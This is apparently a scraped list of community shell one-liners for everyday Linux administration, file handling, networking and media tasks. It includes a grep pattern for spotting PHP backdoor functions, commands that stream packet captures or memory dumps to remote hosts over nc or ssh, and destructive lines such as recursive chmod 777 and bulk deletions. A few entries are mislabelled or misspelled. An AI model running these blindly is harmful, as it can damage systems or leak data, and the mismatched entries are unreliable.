MySQL: Strip a my.cnf file from comments, remove blank lines, normalize spaces:
cat my.cnf | sed '/^#/d' | sed '/^$/d' | sed -e 's/[ \t]\+//g'
Destroy all unmapped Brightbox Cloud IPs
for ip in `brightbox-cloudips list |grep unmapped|awk '{ print $1}'`;do brightbox-cloudips destroy $ip;done
Get KDE version
kde-open -v | grep Platform | cut -d' ' -f4-
Join the content of a bash array with commas
printf "%s," "${LIST[@]}" | cut -d "," -f 1-${#LIST[@]}
find your public ip address easily
dig @resolver1.opendns.com myip.opendns.com | grep ^myip.opendns.com | tr '\t' : | cut -d: -f5
Clear terminal screen as well as terminal buffer
printf "\ec"
Generate a random password.
echo $(< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c10)
List aliases that match a regexp
function alls() { alias -p | sed -n "/^alias $1/p" }
search system log for spamassassin score and list only 15th column
cat /var/log/syslog | grep score= | awk '{print $15}' | more
Look for the process bound to a certain port
sudo lsof -i | grep :8080
Update Debian familiy GNU/Linux with only packages that are allready in cache. Works on: Ubuntu, Canaima, Mint, LMDE, Sparky, Aptosid, etc.
sudo bash -c "apt-get upgrade -s |grep 'Inst '| cut -d' ' -f2| xargs -l1 apt-get install - --no-download"
mount -n -o remount /
mount -n -o remount /
Stripping filenames part
for file in ./*; do mv "$file" "${file/part-to-strip/}"; done
delete at start of each line until character
sed 's/^[^:]*://g'
Find the process ID of such program:
pgrep xterm
list files not owned by any user or group
find / -nouser -o -nogroup -print
Emulate a dual-screen using vnc
x2vnc {-west|-east|-north|-south} computer-ip:display-number
Count occurrences of a word/token in a file
find . -name file.txt | xargs -e grep "token" -o | wc -l
reassign pipe key from AltGr-1 to AltGr-7 in X11
xmodmap -e 'keycode 10 = 1 plus brokenbar exclamdown brokenbar exclamdown' ; xmodmap -e 'keycode 16 = 7 slash bar seveneighths bar seveneighths'
Delete the previous entry in your history
alias histdel='history -d $((HISTCMD-2)) && history -d $((HISTCMD-1))'
Convert encoding of a file
iconv -f utf8 -t utf16 /path/to/file
Install unrar on Linux box from sources
cd /usr/src ; wget http://www.rarlab.com/rar/unrarsrc-4.0.2.tar.gz ; tar xvfz unrarsrc-4.0.2.tar.gz ; cd unrar ; ln -s makefile.unix Makefile ; make clean ; make ; make install
easier sudo apt-get install
alias sagi="yes | sudo apt-get install"
Remove the first line containing 'match' from file
sed -i "$(grep -nm 1 match file|cut -f1 -d:)d" file
MySQL: normalize parameter names on my.cnf configuration file
cat my.sandbox.cnf | awk -F "=" 'NF < 2 {print} sub("=", "=~placeholder~=") {print}' | awk -F "=~placeholder~=" 'NF < 2 {gsub("-", "_", $0); print} NF==2 {gsub("-", "_", $1); print $1 "=" $2}'
Create patch file for two directories
diff -ru originDir updateDir > result.patch
Switch workspace
wmctrl -o 100,0
all out
pkill -9 -u username
save manpage as html file
zcat `man -w manpage` | groff -mandoc -T html - > filename.html
Opens up cached flash plugin video files(linux)
vlc $(for f in /proc/$(pgrep -f libflashplayer.so |head -n 1)/fd/*; do ;if $(file ${f} |grep -q "broken symbolic link to \`/tmp/FlashXX"); then echo ${f};fi;done)
send an email through linux command line van be achieved by
mail -s "myip" youremail@domain.com
Get the number of open sockets for a process
ps aux | grep [process] | awk '{print $2}' | xargs -I % ls /proc/%/fd | wc -l
number kill your terminal
for ((i=0; i>-1000; --i)); do echo "${!i}"; done
To get the average httpd process size, log into your server and run the following on the command line
ps aux | grep 'httpd' | awk '{print $6/1024 " MB";}'
Check if a process is running (Windows)
tasklist /nh /fi "imagename eq notepad.exe" | findstr /i "notepad.exe" >nul && (echo Notepad is running)|| (Echo Notepad is not running)
Parse History For specified Commands, Persist to Individual Log Files
for i in [enter list of commands]; do history |grep -i "$i" >> ~/histories/"${i}"_hist.txt;done
Find non common lines between two files according to a given column
awk '(ARGIND==1) {tab[$3]=1} (ARGIND==2 && ! ($3 in tab) ) {print $0}' file1 file2
Strip beginning numbers in a filename
find . -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
Delete all php package
sudo apt-get purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "`
Realtime delay effect
arecord -D plughw:1,0 | play -d echos 0.3 0.2 700 0.25 800 0.3
2 SSL get expiration date from remote site
echo | openssl s_client -servername google.de -connect google.de:443 2>/dev/null | openssl x509 -noout -enddate
Powershell one-line script to remove the bracketed date from filenames
Get-ChildItem -Recurse | Where-Object { $_.Name -match " ?\(\d\d\d\d_\d\d_\d\d \d\d_\d\d_\d\d UTC\)" } | Rename-Item -NewName { $_.Name -replace " ?\(\d\d\d\d_\d\d_\d\d \d\d_\d\d_\d\d UTC\)", ""}
Erase empty files
find . -size 0 -exec rm '{}' \;
Check if zip files from current directory are good
find . -maxdepth 1 -name "*.zip" -exec unzip -tqq {} \;
Merge various PDF files
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH first.pdf second.pdf
Find all PowerPC applications on OS X
system_profiler SPApplicationsDataType | grep -A3 -B4 "Kind: PowerPC"
Which PATH variable should I use for this scirpt?
whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; }
Report summary of string occurrence by time period (hour)
cat z.log | grep Timeout | cut -d ':' -f1 | sort | uniq -c
open manpage in browser
man -HBrowser manpage
Gets directory size on sub directories in current dir with human readable size
du -h --max-depth=1
count & sort one field of the log files
tail -1000 `ls -ltr /var/log/CF* |tail -1|awk '{print $9}'`|cut -d "," -f 17|sort|uniq -c |sort -k2
Copy with TAR PV and NC
while true; do nc -l -p 50002 | pv | tar -xf -; done
If you want to calculate the average on-the-fly
ps aux | grep 'httpd' | awk '{print $6/1024;}' | awk '{avg += ($1 - avg) / NR;} END {print avg " MB";}'
monitor all open connections to specific port
netstat -anp | grep ":<port>"
analyze traffic remotely over ssh w/ wireshark
wireshark -k -i <(ssh -l root servername "dumpcap -P -w - -f 'not tcp port 22'")
printing text between tags
echo or cat something | grep -Po '(?<=text_before).*(?=text_after)'
get mysql full processlist from commadline
mysqladmin -u user -ppassword --verbose processlist --sleep 1
Pretty-print user/group info for a given user
id <user_name> | sed 's/,/\n/g' | tr ' ' '\n'
Empty a file
> [filename].txt
Find out what files are changed or added in a git repository.
git log --name-only | less
replace deprecated php-function split in php files
sed -i s/split\(/explode\(/ whatever.php
Source multiline grep with pcregrep
pcregrep --color -M -N CRLF "owa_pattern\.\w+\W*\([^\)]*\)" source.sql
Recursive source regexp search with pcregrep
pcregrep -r --exclude_dir='.svn' --include='.*jsp$' -A 2 -B 2 --color "pHtmlHome" .
redirecting stdout of multiple commands
{ command1 args1 ; command2 args2 ; ... }
Execute the command given by history event number
!<number>
Report summary of string occurrence by time period (hour) - alternate
cat z.log | cut -d ':' -f1 | sort | uniq | xargs -l1 -iFF echo 'echo FF $(cat z.log | grep -e "^FF" | grep -e Timeout | wc -l )' | bash
Kill all background jobs
jobs | grep -o "[0-9]" | while read j; do kill %$j; done
sudo ssh -D 88 -fN user@xxxx.no-ip.info
sudo ssh -D 88 -fN user@xxxx.no-ip.info
Add current directory to Ruby load path
echo "$: << '.'" >> $IRBRC
Open/modify .odt in nano with indentation
unzip document.odt content.xml && xmlindent -w content.xml && nano content.xml
extract email adresses from some file (or any other pattern)
grep -aEio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})'
Synchronize date and time with a server over ssh (BusyBox-friendly)
date -u `ssh user@remotehost date -u '+%m%d%H%M%Y.%S'`
find the full amount of ram associated with mysql
ps aux | grep 'mysql' | awk '{print $6/1024 " MB";}'
Remote copy in batch, exclude specified pattern
scp -r `ls | grep -vE "(Pattern1|Pattern2)"` user@remote_host:/location
Docker: Remove all exited docker container
docker ps -a | grep "Exited" | awk '{print $1}' | xargs docker rm
recursively change file name from uppercase to lowercase
zip -r -0 temp.zip DIRNAME/* && rm -R DIRNAME && unzip -LL temp.zip && rm temp.zip
How to exclude all "permission denied" messages from "find"
find <paths> ! -readable -prune -o <other conditions like -name> -print
Fast grepping (avoiding UTF overhead)
export LANG=C; grep string longBigFile.log
convert flv into avi file and mp3 sound
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
Read just the IP address of a device
ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null
Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort | uniq -d | parallel find -type f -size {}c | parallel md5sum | sort | uniq -w32 --all-repeated=separate
Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/../& /g' -e 's/ -//'
Count new mail
mail -H | grep '^.U' | wc -l
read old reversion of file
cvs up -r1.23 -p main.cpp | vim -
print an 'hello world'
echo 'hello world'
Command line calculator
alias calc='python -ic "from math import *; from random import *"'
gets all files committed to svn by a particular user since a particular date
svn log -v -r{2009-11-1}:HEAD | awk '/^r[0-9]+ / {user=$3} /./{if (user=="george") {print}}' | grep -E "^ M|^ G|^ A|^ D|^ C|^ U" | awk '{print $2}' | sort | uniq
Remove invalid key from the known_hosts file for the IP address of a host
for HOSTTOREMOVE in $(dig +short host.domain.tld); do ssh-keygen -qR $HOSTTOREMOVE; done
Count loglines by time (minute)
cat z.log | cut -d ':' -f1,2 | uniq -c
Matrix Style
(set -o noglob;while sleep 0.05;do for r in `grep -ao '[[:print:]]' /dev/urandom|head -$((COLUMNS/3))`;do [ $((RANDOM%6)) -le 1 ] && r=\ ;echo -ne "\e[$((RANDOM%7/-6+2));32m $r ";done;echo;done)
mount virtualbox share
mount -t vboxfs share /mnt/mount-point
Remaining Disk space for important mounted drives
df -H | grep -vE '^Filesystem|tmpfs|cdrom|none' | awk '{ print $5 " " $1 }'
Transfer 1 file with ssh
cat filein | ssh destination.com -c arcfour,blowfish-cbc -C -p 50005 "cat - > /tmp/fileout"
List cassandra snapshots by date
find /var/lib/cassandra/data -depth -type d -iwholename "*/snapshots/*" -printf "%Ty-%Tm-%Td %p\n" | sort
svn resume deleted file
svn copy http://svnserver.com/svn/trunk/htdocs/CMS/views/module/scripts/modal/dialog-settings-items.phtml@3143 -r 3143 htdocs/CMS/views/module/scripts/modal/dialog-settings-items.phtml
Crop video starting at 00:05:00 with duration of 20 mins, also convert to mpeg4 with good quality
ffmpeg -i input.mpg -deinterlace -pix_fmt yuv420p -vcodec libx264 -preset slow -vprofile high -trellis 2 -crf 20 -ac 2 -ab 192k -f mp4 -ss 5:00.000 -to 25:00.000 output.avi
Incremental copy to remote host
rsync -v --ignore-existing `ls | head -n 40` root@localhost:/location
Remove all quotes from csv
tr -d "\"" < infile.csv > noquotes.csv
Test remote SSH server status using telnet (no login required)
$if [[ "$(sleep 1 | telnet -c <host> <port> 2>&1 | grep '^SSH')" == SSH* ]]; then <command when up>; else <command when down>; fi;
Update all Docker Images
docker images | grep -v REPOSITORY | awk '{print $1}' | xargs -L1 docker pull
Find which config-file is read
strace 2>&1 geany |grep geany.conf
Get your public ip
curl -s http://icanhazip.com/
Use a variable in a find command. Useful in scripting.
find . -iname \*${MYVAR}\* -print
Get the amount of users currently registered at the DudaLibre.com Linux Counter.
curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | head -2 | tail -1 | sed 's/.*<strong>//g' | sed 's/<\/strong>.*//g'
List your MACs address
echo | ifconfig | grep HWaddr
reverse order of file
printf "g/^/m0\nw\nq"|ed $FILE
Put at the end of the rsa public key an comment(default value is the hostname)
ssh-keygen -C hello@world
Multi (file)source SSH host tab-completion
complete -W "$( { awk '/^Host / { print $2 }' ~/.ssh/config | egrep -v '\*|,' echo $( grep '^ssh ' .bash_history | sort -u | sed 's/^ssh //' ) while IFS=' ,' read host t; do echo $host; done < ~/.ssh/known_hosts ;} )" ssh
mount remote directory
sshfs user@host:/path/to/remote/dir local-mount-point
Screenshot in $1 seconds, upload and retrieve URI from ompdlr.org
scrotit(){ echo "Screenshot in $1 seconds...";scrot -d $1 '%Y%m%d%h.png' -e 'curl -sF file1=@- http://ompldr.org/upload < $f | grep -P -o "(?<=File:).*(http://ompldr.org/.*)\<\/a\>";rm $f'| sed -r 's@.*(http://ompldr.org/\w{1,7}).*@\1@';}
find potentially malicious PHP commands used in backdoors and aliked scripts
find ./public_html/ -name \*.php -exec grep -HRnDskip "\(passthru\|shell_exec\|system\|phpinfo\|base64_decode\|chmod\|mkdir\|fopen\|fclose\|readfile\) *(" {} \;
SSH folder with progress bar and faster encryption with compression
cd /srcfolder; tar -czf - . | pv -s `du -sb . | awk '{print $1}'` | ssh -c arcfour,blowfish-cbc -p 50005 root@destination.com "tar -xzvf - -C /dstfolder"
LDAP list of users and their details
ldapsearch -x -LLL uid=*
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
brew install ssh-copy-id; ssh-copy-id user@host
Create new user with sudo rights with home dir, bash shell
export NEWUSER=newuser; mkdir /home/$NEWUSER; useradd -d /home/$NEWUSER -s /bin/bash -G sudo $NEWUSER; passwd $NEWUSER
Send a message to Kodi (XBMC)
curl -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"GUI.ShowNotification","params":{"title":"This is the title of the message","message":"This is the body of the message"},"id":1}' http://i3c.pla.lcl:8080/jsonrpc
Url Encode
ruby -nr 'uri' -e 'puts URI.escape $_.chomp'
Left-Handed mouse
xinput set-button-map #inputnumber 3 2 1
List all packages with no dependencies (yum based system)
package-cleanup --leaves --all
grep or
egrep 'string1|string2' file
Send Disk usage via email
#!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tmp/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" email@email.com
reload config
source .bashrc
Install evertything with the prefix pidgin or wathever
apt-cache search pidgin* | awk '{print$ 1}' | tr '\n' ' ' | xargs aptitude -y install
Make a HTTP request using curl with POST method
curl --verbose -d "hello=world" http://mydomain.com
encrypt file.txt using a symmetric password
gpg -c file.txt
List contents of a deb package
dpkg -c deb_package
Show all listening and established ports TCP and UDP together with the PID of the associated process
lsof -ni
Get all git commits of a specific author in a nice format
git log --name-status --author="[The Author's Name]"
run a command repeatedly indefinately
while true ; do killall mc ; done
List the size (in human readable form) of all sub folders from the current location
du . | sort -nr | awk '{split("KB MB GB TB", arr); idx=1; while ( $1 > 1024 ) { $1/=1024; idx++} printf "%10.2f",$1; print " " arr[idx] "\t" $2}' | head -25
Rerun a command until there are no changes, but no more than N times.
for times in $(seq 10) ; do puppet agent -t && break ; done
TCPDUMP & Save Capture to Remote Server
tcpdump -i eth0 -w - | ssh savelocation.com -c arcfour,blowfish-cbc -C -p 50005 "cat - > /tmp/eth0.pcap"
Find the processes that are on the runqueue. Processes with a status of
ps r -A
changing permissions to many folders, sub folders and files in the current directory.
for i in * ; do chmod -R 777 $i;done
Show hidden files
defaults write com.apple.finder AppleShowAllFiles TRUE
View inodes
sudo find . -xdev -type f | cut -d "/" -f 2 | sort | uniq -c | sort -n
httpd don't work on SELinux? do this command.
sudo chcon -R -reference /var/www /var/vhost_docroot_path
ssh-keygen -b 4048 -t rsa -C "comment"
ssh-keygen -b 4048 -t rsa -C "comment"
get full git commit history of single file
git log -p --name-only --follow <file>
Send SNMP traps
sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2-MIB::sysLocation.0 s "Just here"
make directory
mkdir /tmp/dir1/{0..20}
bash: display CURRENT time in prompt, when entering a command
$ echo -e '\n#!!! Example "[hu_HU]Aktualis ido/datum a prompt-ba (PS1)\n!!! Example "TraceBack: http://goo.gl/MlkcQ\nPS1="@\$(date +%H:%M:%S) $PS1"\n' >>~/.bashrc
Copy all file differences to an existing mirror location
diff -Naur /source/path /target/path --brief | awk '{print "cp " $2 " " $4}' | sh
Make "pcap" file
tcpdump -i eth0 -s 65535 -w test_capture
List LVM Volume Groups as an unprivileged user
cat /sys/block/{*,*/*}/holders/dm*/dm/name | awk -F- '{print $1}' | sort -u
rip all tracks of the cd then convert all *wav files in *mp3
cdparanoia -wB 1-; for i in *.wav; do lame -h -b 192 "$i" "`basename "$i" .wav`".mp3; done
Random unsigned integer from /dev/random (0-65535)
dd if=/dev/random count=1 bs=2 2>/dev/null | od -i | awk '{print $2}' | head -1
Make .bashrc function to backup the data you changed last houres
echo "function backup() { find ~ -type f -mtime 0 | tar cvfz /tmp/24h-backup.tar.gz -T - ;}" >> ~/.bashrc
Resume a download
wget -c [URL]
List all ubuntu installed packages in a single line
dpkg --get-selections | grep -Evw 'deinstall$' | cut -f1 | sort -u | xargs
Current sub-folders sizes
du -sh *
Rearrange words from a file
perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile
Update twitter via curl as Function
tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }
Converts ext2 to ext3
tune2fs -j /dev/sdX
Find Man pages for everything in your $PATH
unset MANPATH; manpath >/dev/null
Use a variable in a find command. Useful in scripting.
find "$1" -iname "*$2*"
remove files of a specific size
find . -size 1400c -exec rm {} \;
DD with progressbar using pv for backing up entire block device
sudo dd if=/dev/block/device bs=1MB | pv -s `sudo blockdev --getsize64 /dev/block/device' | gzip -9 > output.img.gz
Generate Random Text based on Length
genRandomText() { a=( a b c d e f g h i j k l m n o p q r s t u v w x y z );f=0;for i in $(seq 1 $(($1-1))); do r=$(($RANDOM%26)); if [ "$f" -eq 1 -a $(($r%$i)) -eq 0 ]; then echo -n " ";f=0;continue; else f=1;fi;echo -n ${a[$r]};done;echo"";}
Remove all missing SVN files from the repository
svn stat | grep ^\! | awk '{print $2}' | xargs svn del
Display IP addresses Pidgin IM Client is connected to
lsof -p `pidof pidgin` | awk '{ print $9 }'|egrep `hostname` | grep -o ">[^:]\+:" | tr -d ":>" | while read line; do host $line; done;
empty a gettext po-file (or, po2pot)
msgfilter --keep-header --input input.po awk '{}' | sed '/^#$/d; /^#[^\:\~,\.]/d' >empty.po
Find LVM Volume Group name for a block device
cat /sys/block/md1/holders/dm*/dm/name | awk -F- '{print $1}' | sort -u
Compile all jpegs into 1 video by alphabetical order @ 50 fps
mencoder mf://*.jpg -mf fps=50:type=jpg -ovc raw -oac copy -o out50fps.avi
Detect broken video files with mplayer and bash in the current directory
for i in *.flv *.mkv *.avi; do mplayer -ao null -vo null -ss 0 -endpos 1 >/dev/null "$i" 2> >(grep -qi error && echo >&2 "$i seems bad"); done
Bingo-like raffle
yes 'echo $(( RANDOM%100+1 )); sleep 5' | bash
Berechtigungen nach einer Referenz ?ndern
sudo chmod --reference=Referenz.foo Datei.foo
Display EPOCH time in human readable format using AWK.
date -d @1268727836
how to like to know if a host is ON
for ip in $(seq 1 25); do ping -c 1 192.168.0.$ip>/dev/null; [ $? -eq 0 ] && echo "192.168.0.$ip UP" || : ; done
fetch 1600 jokes from robsjokes.com into a single file, which is fortunable
for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed '/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >> ~/temp/Rob.jokes ; done
add all files not under version control to repository
svn add $(svn st|grep ^\?|cut -c2-)
Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -name *.mp3 | grep "andy" > ~/mylist
install package which provides some libraries in fedora
yum whatprovides /usr/lib/libXX1.so /usr/lib/libXX2.so | grep fc | sed 's/^\(.*\)-[0-9.]*-.*$/\1/' | sort | uniq | xargs yum -y install
get newest file in current directory
find . -maxdepth 1 -printf '%A@\t%p\n' | sort -r | cut -f 2,2 | head -1
Set executable permissions only to executable files
while IFS= read -r -u3 -d $'\0' file; do file "$file" | egrep -q 'executable|ELF' && chmod +x "$file"; done 3< <(find . -type f -print0)
Find the mounted storages
sudo find . -name "syslog*.gz" -type f | xargs gzip -cd | grep "Mounted"
highlight chars or words in program output
#!/bin/zsh SHL='\\e[0;31m' EHL='\\e[0m' while read line; do TEXT=$line for SSTR in $*; do TEXT=$(echo $TEXT | sed -e "s:$SSTR:${SHL}${SSTR}${EHL}:g") done echo -e $TEXT done
Testing php configuration
php -e -c /path/to/php.ini -r 'echo "OK\n";';
extraer la MAC del comando ifconfig
ifconfig eth0 | grep HW | cut -d " " -f 11
Graphically display directory structure
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
MEMORY DUMP ACROSS NETWORK 4 CYGWIN
wmr - | pv -s $SIZEOFMEM | ssh -p 40004 -c arcfour,blowfish-cbc -C root@savelocation.com "cat - > /forensics/T430-8gb-RAM1.dd"
Bluetooth hardware info
hciconfig;hciconfig -a hci0;lsmod |grep bt;dmesg | grep tooth
Search count how many times a number, character or string is present on a stream
echo something | awk '{ total += gsub(/yourstring/,"") } END { print total }'
opens folder and displays
ct() {cd $1; tree -L 2}
iptables for mac
-A INPUT -p tcp --dport 22 -m mac --mac-source 3E:D7:88:A6:66:8E -j ACCEPT
cd out n directories (To move n level out of current directory)
cdb() { for i in $(seq $1); do cd ..; done }
strace to find out what files a process executes
strace -f -e trace=process [command]
List used Perl libraries in Perl project
find . -type f \( -name '*.pm' -o -name '*.pl' \) | xargs grep "^use " | cut -d : -f2 | sort | uniq
Grep live log tailing, tracks file open/close
tail -F some_log_file.log | grep the_thing_i_want
find sparse files
find -type f -printf "%S=:=%p\n" 2>/dev/null | gawk -F'=:=' '{if ($1 < 1.0) print $1,$2}'
Get your public IP address using Amazon
curl checkip.amazonaws.com
hello, world
perl -e "''=~('(?{'.('-^@.]|(;,@/{}/),[\\\$['^'],)@)[\`^@,@[*@[@?}.|').'})')"
recursively change file name extensions
find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done
Compare a file with the output of a command or compare the output of two commands
vimdiff foo.c <(bzr cat -r revno:-2 foo.c)
Iterate through a file where instead of Newline characters, values are separated with a non-white space character.
while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done
File without comments or blank lines.
gawk '!/^[\t\ ]*#/{print $0}' filename | strings
for all who don't have the watch command
watch() { if [ -z "$1" ]; then echo "usage: watch interval command" return fi sec=$1 shift while test :; do clear; date=$(date); echo -e "Every "$sec"s: $@ \t\t\t\t $date"; echo $@; sleep $sec; done }
You can't do that on sed
perl -p -e 's/\\n/\n/g'
Open a different file for edition on a vertical split screen inside your vim session
:vsplit filename
Count words in a TeX/LaTeX document.
pdftotext file.pdf - | wc -w
get the current weather in NYC, in human readable form
curl -s poncho.is/forecast/new_york/today/ | grep -E 'og:title|og:description' | cut -d\" -f4 | awk '{print $0,"<p>"}' | lynx -stdin -dump
Schedule one job after another (running).
while ps -p $PID; do sleep 1; done; script2
copy remote ssh session output to local clipboard
curl "https://coinurl.com/api.php?uuid=5378..........5&url=http://www.commandlinefu.com"
finf ./ -name logs -type f -size 50
finfd./ -name logs -type f -size 50
Search count how many times a character or string is present into a file
awk '{ total += gsub(/yourstring/,"") } END { print total }' yourfile
convert movie to gif
ffmpeg -ss 00:00:00.000 -t 10 -i filename.avi -vf scale=320:-1 -r 10 /tmp/output.gif
Set Apache 2.4 log level on RHEL6
loglevel() { sudo sed -Ei.bak "/LogLevel\s/s/alert|crit|debug|emerg|error|info|notice|warn/${1}/" /opt/rh/httpd24/root/etc/httpd/conf/httpd.conf }
Save contacts on vcf file on ubuntu touch
syncevolution --export /home/phablet/Documents/utcontact.vcf backend=evolution-contacts database=Personnel
Print hex codes of a given string
hexstring () { perl -p -e 's/(.)/sprintf("%02x", ord($1))/eg' << $1 }
Find only folders in a directory
find . -type d
Shell pocket calculator (pure sh)
calc(){ printf "%.8g\n" $(printf "%s\n" "$*" | bc -l); }
Total procs, avg size (RSS) and Total mem use
ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}'
dos2unix
$ perl -pi -e 's/\r\n/\n/g' <finelame>
Copy files from list with hierarchy
cat files.txt | xargs tar -cv | tar -x -c $DIR/
Get number of diggs for a news URL
curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whatever.com&type=json" | python -m simplejson.tool | grep diggs
Mount Windows shared folder (or Samba share)
smbmount //<ip>/<resource> <local_mount_point>
Kill all windows in one go in gnu screen
bindkey ^f at "#" kill
YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 255 characters)
Kill a process by its partial name
killall -r 'a regular expression'
Add DuckDuckGo Search as search provider on gnome-shell
cd /usr/share/gnome-shell/search_providers/ && cat google.xml | sed "s/www.google.com\/search/duckduckgo.com\//; s/Google/DuckDuckGo/g" > duckduckgo.xml
make directory
$ mkdir -p /tmp/dir1/{0..20}
view all console fonts
#!/bin/bash cd /usr/share/consolefonts/; for i in * ; do setfont; echo "testing >> $i << font" ; setfont $i ; showconsolefont ; sleep 5 ; clear ; done
Graphical tree of sub-directories
find . -type d |sed 's:[^-][^/]*/:--:g; s:^-: |:'
make a central proxy access from where it's high speed link available.
socat TCP4-LISTEN:3128,reuseaddr,fork TCP6:[xxxx:xxxx::xxxx]:3128
Massive rename filenames
for i in `find -name '*_test.rb'` ; do mv $i ${i%%_test.rb}_spec.rb ; done
show 20 last modified files in current directory including subdirectories
find . -type f -printf "%T@ %Tc %p\n" |sort -n |cut -d' ' -f2- |tail -n20
View all file descriptors owned by a process
sudo lsof -p `sudo ps aux | grep -i neo4j | grep -v grep | awk '{ print $2 }'`
Generate an XKCD #936 style 4 word password
word=$(shuf -n4 /usr/share/dict/words); for w in ${word[@]}; do w=${w^}; w=${w//\'/}; p+=$w; done; echo $p
get md5sum for all files, skipping svn directories
find $1 -not -iwholename "*.svn*" -type f | xargs md5sum | awk '{print $2 "\t" $1}'
for a particular file system, find all files > 10MBytes, sorted by size
cd <mntpoint>; find . -xdev -size +10000000c -exec ls -l {} \; | sort -n -k 5
How to convert a Shapefile to GeoJSON
ogr2ogr -f GeoJSON output.geojson input.shp
edit multiple files at once
:bufdo :%s/<what-was>/replace-to/g | w!
Pipe to X11 clipboard
echo $MYFILE | perl -pe "chomp if eof" | xclip -selection c
Read curl output line by line in a while loop
while read line; do echo $line;done < <(curl -s <URL of file to read>)
Recursive dwdiff using find -exec
find DIR -exec sh -c "if [ -f \"{}\" ]; then echo {} >> dwdiff.txt; dwdiff --no-common {} /OLD_FILES/{} >> dwdiff.txt; echo \"--EOF--\" >> dwdiff.txt; fi" \;
alias dir to ls -al
alias dir="ls -al"
Backup your precious Tomato Router Stats
curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_http_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz
List all mounted drives and their accompanying partitions from OS X Terminal
diskutil list
Count files by extension
find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic
Provides external IP, Country and City in a formated manner.
function geoip() { curl -s "http://www.geoiptool.com/en/?IP=$1" | html2text | egrep --color "IP Address:|Country:|City:|Longitude:|Latitude:|Host Name:" }
Compress PDF
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=output.pdf input.pdf
Recreate md5 checksum files for files in folder and subfolders
find . -type f \! -name "*.md5" -exec sh -c 'md5sum "$1" > $1.md5' -- {} \;
Get URL's from a webpage
curl url | egrep -o '(http|https)://[a-z0-9]*\.[a-z0-9]*\.[a-z0-9]*'|sort |uniq
Check if TCP port 25 is open
(echo >/dev/tcp/localhost/25) &>/dev/null && echo "TCP port 25 open" || echo "TCP port 25 close"
bzip2 all files in a directory older than 1 week (nicely)
find /logdir -type f -mtime +7 -print0 | xargs -0 -n 1 nice -n 20 bzip2 -9
Copy timestamps to all lines in a log file
perl -ne 'if (/^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2},\d{3} )/ ) { $t=$1; print $_ } else { print $t . $_ }'
Get HTTP headers using curl, but still perform a GET
curl -sSi <URL> | sed '/^\r$/q'
Show apps that use internet connection at the moment.
sudo lsof -P -i -n | awk '{print $1,$5,$8}' | tail -n +2 | uniq -c | sort -nr
Using arp command to block hosts.
Blocking ip: arp -s ip_of_host 0, Unblocking ip: arp -d ip_blocked
Clean up old xauth entries
xauth list | cut -f1 -d\ | xargs -i xauth remove {}
Remotely sniff traffic and pass to snort
sniff_host: tcpdump -nn -i eth1 -w - | nc 192.168.0.2 666
Clear IPC Message Queue
ipcs -a | grep 0x | awk '{printf( "-Q %s ", $1 )}' | xargs ipcrm
Convert a DMG file to ISO in OS X Terminal
hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso
How to get full tread dump for java process
kill -3 PID
Check the MD5
diff -ua <(w3m -dump http://www.php.net/downloads.php|fgrep -A1 '5.2.15 (tar.bz2)'|awk '/md5:/{print $2}') <(md5sum php-5.2.15.tar.bz2|awk '{print $1}')
Generate Random Text based on Length
genRandomText() { cat /dev/urandom|tr -dc 'a-zA-Z'|head -c $1 }
List all images in icon/cursor files
icotool -l demo.ico
Parallel copy - Faster copy
find Files/ -type d | parallel 'mkdir -p /BKP/{}' && find Files/ -type f | parallel 'rsync -a {} MKD/$(dirname {})'
add a change in git that you have just checked using git diff
^diff^add
Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i /dev/null "search pharse" {} \;
Create a package list for offline download
